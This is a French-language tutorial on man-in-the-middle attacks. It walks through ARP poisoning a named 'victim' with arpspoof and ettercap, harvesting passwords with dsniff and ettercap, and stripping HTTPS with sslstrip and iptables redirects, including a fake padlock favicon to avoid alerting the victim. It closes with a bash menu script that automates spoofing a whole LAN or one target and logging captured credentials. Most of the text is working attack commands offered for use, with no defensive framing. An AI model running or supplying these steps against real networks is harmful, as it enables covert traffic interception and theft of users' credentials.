**Man in the Middle** Le MITM est une technique réseau consistant à "sniffer" une connexion réseau pour voir ce qu'il se passe dessus. Pour cette technique nous aurons besoins des outils suivants : - Spoofing arp : . arpspoof . ettercap - Sniffing : . ettercap . tcpdump . dsniff . sslstrip (spécialement pour le https) Arpspoofing ou arp poisonning est une technique qui permet à l'attaquant de détourner des flux de communications transitant entre une machine cible et une passerelle. Cette attaque utilise le protocole ARP. Tout d'abord nous allons faire croire à notre victime que la passerelle a changé d'adresse mac grâce à l'outil arpspoof arpspoof -r -t 192.168.1.10 192.168.1.1 -i wlan0 L'option : -r sert à empoisonner la cible pour récupérer le trafic entrant et sortant L'option : -t sert à désigner la cible 192.168.1.10 est l'adresse ip de la victime 192.168.1.1 est l'adresse de la passerelle wlan0 notre interface réseau {{ :reseau:arpspoof.png?nolink |}} Activez l'ip forwarding sinon votre cible sera déconnectée d'internet echo 1 > /proc/sys/net/ipv4/ip_forward A partir de cet instant tout le trafic de la victime transite par votre machine. Plusieurs outils s'offrent à vous : - Dsniff va vous afficher uniquement les identifiants des authentifications des protocoles non chiffrés (http , ftp , telnet...) - Ettercap et tcpdump capturent tous les paquets, suivant les filtres que vous mettrez vous aurez des résultats différents. Exemple avec Dsniff : Dsniff -i interface Exemple avec Ettercap en ligne de commande : ettercap -T -M ARP -q /ip_cible/ // -i interface L'option -T permet d'utiliser Ettercap en ligne de commande L'option -M signifie MITM avec ARP L'option -q permet de diminuer la verbosité Attention si vous utilisez Ettercap assurez vous que les lignes suivantes soit dé-commentées dans le fichier /etc/ettercap/etter.conf # if you use iptables: redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" L'outil SSLSTRIP : est un outil qui permet de forcer la connexion de la victime à passer de l'HTTPS à l'HTTP si le site le permet. Contrairement à d'autres outils tels que mitmproxy ou ettercap , sslstrip ne créer pas de faux certificats -> pas de message d'erreur pour la victime. **Utilisation :** Il faut tout d'abord créer une règle iptable pour laisser passer le trafic. Par défaut sslstrip utilise le port 10 000. Nous utiliserons le 15 000. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 15000 sslstrip -w log.txt -a -l 15000 -f L'option -w permet de logguer toutes les informations dans un fichier L'option -a permet de logguer tout le traffic L'option -l permet de choisir le port (dans notre cas 15 000) L'option -f permet d''afficher le favicone cadenas sur la page de la victime. Voici un petit outil développé par mes soins pour automatiser ce genre d'action : echo "#################################" echo "# Programme de MITM automatique #" echo "#################################" echo "Entrez l'interface sur laquel vous voulez faire le MTIM :" read interface echo 1 > /proc/sys/net/ipv4/ip_forward mon_ip=`ifconfig $interface | grep ' inet adr' | cut -d : -f2 | awk '{print $1}'` passerelle=`route -n | egrep "^0.0.0.0 +[[:digit:].]+ +0.0.0.0" | awk '{print $2}'` Ps3="Que voulez vous ? " select choix in \ "Spoofing arp pour tous le monde" \ "Spoofing arp pour une seul personne " \ "Sniffer les mots de passe ettercap" \ "Sniffer les mots de passe dsniff" \ "SSLSTRIP" \ "Mon ip " \ "Ma passerelle " \ "Commande systeme " \ "Quitter" do case $REPLY in 1) echo "Arpspoof pour tous" ; ettercap -T -M ARP -q // // -i $interface >> arp.txt & ;; 2) echo "Entrez l'ip de la victime "; read ip_victime ;arpspoof -i $interface -r -t $ip_victime $passerelle &;; 3) ettercap -T -q -i $interface | grep 'http' &;; 4) dsniff -i $interface -w dpass.txt & ;; 5) sslstrip -w log.txt -a -l 15000 -f & ;; 6) echo $mon_ip;; 7) echo $passerelle;; 8) echo " Commande systeme :"; read cmd ; $cmd;; 9) echo "On abandonne ..." break ;; *) echo "Choix invalide" ;; esac done